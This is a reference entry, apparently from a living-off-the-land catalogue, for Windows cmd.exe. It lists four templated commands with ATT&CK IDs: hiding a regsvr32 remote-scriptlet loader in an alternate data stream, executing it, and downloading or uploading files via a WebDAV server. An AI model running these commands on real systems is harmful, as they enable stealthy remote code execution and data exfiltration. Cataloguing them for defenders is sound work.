Cmd.exe

type: OSBinaries
The command-line interpreter in Windows

Full path

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe

Commands

  1. ADSUser T1564.004

    Can be used to evade defensive countermeasures or to hide as a persistence mechanism

    cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

    Add content to an Alternate Data Stream (ADS).

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  2. ADSUser T1059.003

    Can be used to evade defensive countermeasures or to hide as a persistence mechanism

    cmd.exe - < {PATH}:payload.bat

    Execute payload.bat stored in an Alternate Data Stream (ADS).

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  3. DownloadUser T1105

    Download/copy a file from a WebDAV server

    type {PATH_SMB} > {PATH_ABSOLUTE}

    Downloads a specified file from a WebDAV server to the target file.

    os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  4. UploadUser T1048.003

    Upload a file to a WebDAV server

    type {PATH_ABSOLUTE} > {PATH_SMB}

    Uploads a specified file to a WebDAV server.

    os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: r0lan @yeyint_mth, Mr.0range @mr_0rng